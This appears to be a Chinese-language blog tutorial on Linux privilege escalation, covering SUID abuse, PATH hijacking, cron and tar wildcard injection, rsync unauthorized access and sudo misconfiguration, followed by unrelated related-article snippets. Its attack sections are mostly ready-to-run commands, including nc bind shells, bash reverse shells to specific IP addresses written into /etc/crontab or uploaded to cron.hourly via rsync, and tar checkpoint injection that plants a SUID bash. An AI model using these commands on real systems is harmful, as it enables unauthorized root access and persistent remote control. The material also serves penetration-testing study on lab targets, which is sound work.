当前位置: 首页 > news >正文

权限提升Linux篇

提权工具

https://github.com/liamg/traitor
https://github.com/AlessandroZ/BeRoot
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/jondonas/linux-exploit-suggester-2

SUID提权

提权命令网站:GTFOBins

漏洞原因:

chmod u+s增加suid  chmod u-s减少suid

 在程序运行的时候,经常需要给程序以高权限,类似于Windows里的以管理员身份运行,通过上面的命令增加SUID,使普通用户可以以root用户的身份运行程序

查找SUID权限命令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

 SUID具有高权限,可以用root身份执行命令

find / -user root -perm -4000 -exec ls -ldb {} \;

 现在尝试用SUID提权,使用上面的SUID提权网站

sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit

可以看到,成功通过SUID得到root权限 

但是前面的提权是有一个问题的,因为这些提权步骤都是我使用自己的云服务完成的,真实情况我们不能看到回显,所以需要用到反弹shell

控制受害者主机开启nc监听7777端口并绑定/bin/sh,注意开启防火墙端口

find yc -exec nc -lvp 7777 -e /bin/sh \;

攻击者连接受害者主机

nc 43.139.79.52 7777

 可以看到11,成功通过反弹shell获取了权限,当我们第一次用whoami查看自身身份的时候,会发现身份是普通用户,这时候再用前面的提权命令即可拿到root权限,我这里使用nc进行反弹shell,如果没有nc环境可以尝试其他反弹shell命令,根据具体情况而定

 我们前面使用SUID提权的时候,其实很多命令都有SUID权限,但是为什么只有find等命令才可以作为提权命令呢,这是由这些命令的功能决定的,如果find没有exec这个参数,那他也不能用来提权,就比如拥有管理员权限的ping命令,但是可以用来提权吗,显然不能

环境变量提权

管理员编译了程序,给予程序管理员运行的权限,攻击者通过提供对程序的运行调试反编译获得程序运行逻辑,对程序调用的环境变量进行覆盖,从而继承程序的权限

比如现在有一个程序test.c,会执行find命令,自带环境变量/usr/bin/bash,如果我们把bash命令复制到当前目录取名find,那么可能调用的程序就会由find命令变为bash命令

test.c


#include<unistd.h>
void main()
{ setuid(0);setgid(0);system("ps");
}

vim test.c

cdd /tmp

gcc test.c

gcc test.c -o shell

chmod u+s shell

cp /bin/bash /tmp/find

 export PATH=/tmp:$PATH

./shell

实战步骤:

查看SUID权限,查看管理员创建的命令

反编译获得源代码 ,就是前面的.c文件

覆盖变量,cp /bin/bash /tmp/find,export PATH=/tmp:$PATH

这里还遇到一个问题,普通用户竟然没有权限在/tmp创建文件,最后完成提权,但是感觉此提权方法太困难,比较鸡肋

计划任务提权

在Linux中,经常会用到计时任务,比如每天自动打包当天的日志文件

查看计时任务命令

cat /etc/crontab 

写一个计划任务实现将每天的文件打包

echo "0 0 * * * tar -czf /data/archive/archive.tar.gz /tmp">/etc/crontab

如果黑客发现有这样一个计划任务,他就可以通过计划任务来提权

echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
chmod +x test.sh
./bash -p

 计划任务也可以用来在后渗透中,写一个计划任务每隔一段时间发起反弹shell

 echo "* * * * * root bash -i >& /dev/tcp/43.139.79.52/7777 0>&1">/etc/crontab

计划任务提权(配置不当)

使用上面那种计划任务提权极其复杂,计划任务还有一种方式就是配置不当

假如有一个1.sh文件,root用户使用chmod 777 1.sh,那么这就有问题了,普通用户也有权限修改这个文件,如果普通用户将文件内容改为反弹shell,那么当计划任务执行的时候,反弹shell由root权限执行,根据权限继承的原则,root用户执行了反弹shell,这样就成功拿到了root权限,这也是计划任务提权的实际情况运用方式

Rsync未授权访问提权

Rsync是一款数据备份工具,默认端口873,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

可以使用vulhub的靶场来验证

Vulhub - Docker-Compose file for vulnerability environment

提权过程

创建一个 nc 文件,内容

#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
赋予执行权限:
chmod +x nc
上传文件覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
进行 nc 监听相应的端口
nc -lvnp 3333

SUDO提权

/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令,

创建用户命令

useradd yc

passwd yc

查看命令

sudo cat /etc/sudoers

 这是我买的云服务器自带的,可见lighthose用户拥有root的所有权限,直接sudo su就可以提权

这里模拟配置sudo权限不当

visudo

yc ALL=(ALL:ALL) /usr/bin/find   #复制到文件中

su yc  切换到yc用户

 sudo find /home -exec /bin/bash \;  执行find提权命令

 内核提权

CVE-2016-5195 DirtyCow 脏牛提权

CVE-2022-0847 脏管道提权

相关文章:

权限提升Linux篇

提权工具 https://github.com/liamg/traitor https://github.com/AlessandroZ/BeRoot https://github.com/rebootuser/LinEnum https://github.com/mzet-/linux-exploit-suggester https://github.com/sleventyeleven/linuxprivchecker https://github.com/jondonas/linux…...

影刀自动化采集底层逻辑

hello,大家好&#xff0c;这里是【玩数据的诡途】 接上回 <我的影刀故事> 今天给大家介绍一下整个采集的底层逻辑&#xff0c;包括业务流程自动化也是基于这一套基础逻辑进行展开的&#xff0c;顺便带大家熟悉一下影刀&#xff0c;既然叫影刀系列了&#xff0c;那后续一些…...

swiper使用

介绍 Swiper&#xff08;swiper master&#xff09;是一个第三方的库&#xff0c;可以用来实现移动端、pc端的滑动操作。&#xff0c;swiper应用广泛&#xff0c;使用频率仅次于jquery, 轮播图类排名第一&#xff0c;是网页设计师必备技能&#xff0c;众多耳熟能详的品牌在使用…...

基于遗传算法解决的多仓库多旅行推销员问题(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…...

微信小程序 工具使用(HBuilderX)

微信小程序 工具使用:HBuilderX 一 HBuilderX 的下载二 工具的配置2.1 工具 --> 设置 --> 运行配置2.1.1 微信开发者工具路径2.1.2 node 运行配置 2.2 插件 工具 --> 插件安装2.2.1 下载插件 三 微信小程序端四 同步运行五 BUG5.1 nodemon在终端无法识别 一 HBuilderX…...

设计模式:观察者模式(C++实现)

观察者模式&#xff08;Observer Pattern&#xff09;是一种设计模式&#xff0c;用于定义对象之间的一对多依赖关系&#xff0c;当一个对象&#xff08;称为主题或可观察者&#xff09;的状态发生变化时&#xff0c;它的所有依赖对象&#xff08;称为观察者&#xff09;都会收…...

【前端打怪升级日志之微前端框架篇】微前端qiankun框架子应用间跳转方法

参考链接qiankun官网&#xff1a;微应用之间如何跳转&#xff1f; 1.主应用、子应用路由都是hash模式 主应用根据 hash 来判断微应用&#xff0c;无需考虑该问题 2.主应用根据path判断子应用 方法实现适用条件参数传递存在问题a标签跳转<a href"/toA"></…...

C语言中的typedef struct用法

在学习数据结构的时候&#xff0c;我经常遇到typedef struct&#xff0c;刚开始感觉很别扭&#xff0c;查阅资料之后才真真理解了。 先从结构体说起。 1、结构体用法 struct Student{int age;char s;}如果要定义一个该结构体变量&#xff0c;就需要:struct Student st1; 有没…...

司徒理财:9.27黄金原油日内多空走势行情操作建议

黄金走势分析&#xff1a;      黄金昨日抵达了此前一直强调的日线布林下轨的1903位置&#xff0c;甚至更低&#xff01;昨天的空单也是直接获利收割了&#xff01;现在如果是要继续做空&#xff0c;下方是有日线支撑的&#xff0c;甚至周线的支撑也不远&#xff0c;在1890…...

C++设计模式(Design Patterns)

设计模式主要原则 单一职责原则&#xff08;Single Responsibility Principle&#xff09; 实现类要职责单一 里氏替换原则&#xff08;Liskov Substitution Principle&#xff09; 不要破坏继承关系 依赖倒置原则&#xff08;Dependence Inversion Principle&#xff09; …...

vue点击按钮收缩菜单

问题描述 VUE菜单有一个BUG&#xff0c;当我们点击其它按钮或者首页的时候&#xff0c;已经展示的一级菜单是不会自动收缩的。这个问题也导致很多开发者把一级菜单都换成了二级菜单。 错误展示 错误的效果请看下图。 解决方法 1、寻找菜单文件 因为我使用的是ruoyi的前端框…...

Vue 防止忘记的命令

创建新项目 npm init vuelatest cd <项目名> npm install npm run dev 运行项目 yarn yarn serve 这里如果我用npm install 或者npm run serve会报错&#xff0c;但是新建项目用npm就不会&#xff0c;有大佬知道为什么吗...

APACHE NIFI学习之—RouteOnContent

RouteOnContent 描述: 通过正则表达式匹配输入数据流的内容,然后将输入数据流的副本路由到正则表达式相匹配的输出数据流。 正则表达式作为用户自定义的属性添加,并以该属性名称为输出连线,其值为正则表达式所匹配数据流内容。 当用户定义的属性支持属性表达式语言时,其结…...

【C语言】【结构体的内存对齐】计算结构体内存大小,有图解

计算结构体内存大小&#xff0c;需要用到结构体内存对齐的知识 来段代码看看什么是结构体对齐&#xff1a; #include<stdio.h> struct S1 {char a;char b;int num; }; struct S2 {char a;int num;char b; }; int main() {printf("%zd\n", sizeof(struct S1))…...

Intel 700 800系网卡升级支持WOL UEFI PXE方法

Intel 700 800系网卡默认的NVM版本是不支持UEFI的&#xff0c;升级NVM也不能解决&#xff0c;需要将UEFI driver 包到NVM里。操作步骤如下&#xff1a; 1. 下载Preboot软件包&#xff0c;有Windows和Linux版本&#xff0c;本次使用Linux版本做示例。 Intel Ethernet Connecti…...

vue3 - 使用 xlsx 库将数据导出到 Excel 文件

GitHub Demo 地址 在线预览 xlsx是由SheetJS开发的一个处理excel文件的JavaScript库。它可以读取、编写和操作 Excel 文件 安装xlsx npm install xlsx --save实现一个通过的数据导出工具类 import * as XLSX from xlsx/*** description: 导出excel* param {any} dataList* p…...

机器学习,深度学习

一 、Numpy 1.1 安装numpy 2.2 Numpy操作数组 jupyter扩展插件&#xff08;用于显示目录&#xff09; 1、pip install jupyter_contrib_nbextensions -i https://pypi.tuna.tsinghua.edu.cn/simple 2、pip install jupyter_nbextensions_configurator -i https://pypi.tuna.t…...

【性能测试】jmeter连接数据库jdbc

一、下载第三方工具包驱动数据库   1. 因为JMeter本身没有提供链接数据库的功能&#xff0c;所以我们需要借助第三方的工具包来实现。 &#xff08;有这个jar包之后&#xff0c;jmeter可以发起jdbc请求&#xff0c;没有这个jar包&#xff0c;也有jdbc取样器&#xff0c;但不能…...

蓝桥等考Python组别二级007

第一部分:选择题 1、Python L2 (15分) 下面哪个不是Python的基本数据类型?( ) 布尔型整数型指针型字符串正确答案:C 2、Python L2...

Java如何解决浮点数计算不精确问题

有的时候博客内容会有变动&#xff0c;首发博客是最新的&#xff0c;其他博客地址可能会未同步,认准https://blog.zysicyj.top 首发博客地址[1] 面试题手册[2] 系列文章地址[3] 1. 什么是浮点数计算不精确问题? 在 Java 中&#xff0c;浮点数计算不精确问题指的是使用浮点数进…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!

一、引言 在数据驱动的背景下&#xff0c;知识图谱凭借其高效的信息组织能力&#xff0c;正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合&#xff0c;探讨知识图谱开发的实现细节&#xff0c;帮助读者掌握该技术栈在实际项目中的落地方法。 …...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join

纯 Java 项目&#xff08;非 SpringBoot&#xff09;集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...

DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态

前言 在人工智能技术飞速发展的今天&#xff0c;深度学习与大模型技术已成为推动行业变革的核心驱动力&#xff0c;而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心&#xff0c;系统性地呈现了两部深度技术著作的精华&#xff1a;…...

鸿蒙HarmonyOS 5军旗小游戏实现指南

1. 项目概述 本军旗小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;采用DevEco Studio实现&#xff0c;包含完整的游戏逻辑和UI界面。 2. 项目结构 /src/main/java/com/example/militarychess/├── MainAbilitySlice.java // 主界面├── GameView.java // 游戏核…...

React核心概念:State是什么?如何用useState管理组件自己的数据?

系列回顾&#xff1a; 在上一篇《React入门第一步》中&#xff0c;我们已经成功创建并运行了第一个React项目。我们学会了用Vite初始化项目&#xff0c;并修改了App.jsx组件&#xff0c;让页面显示出我们想要的文字。但是&#xff0c;那个页面是“死”的&#xff0c;它只是静态…...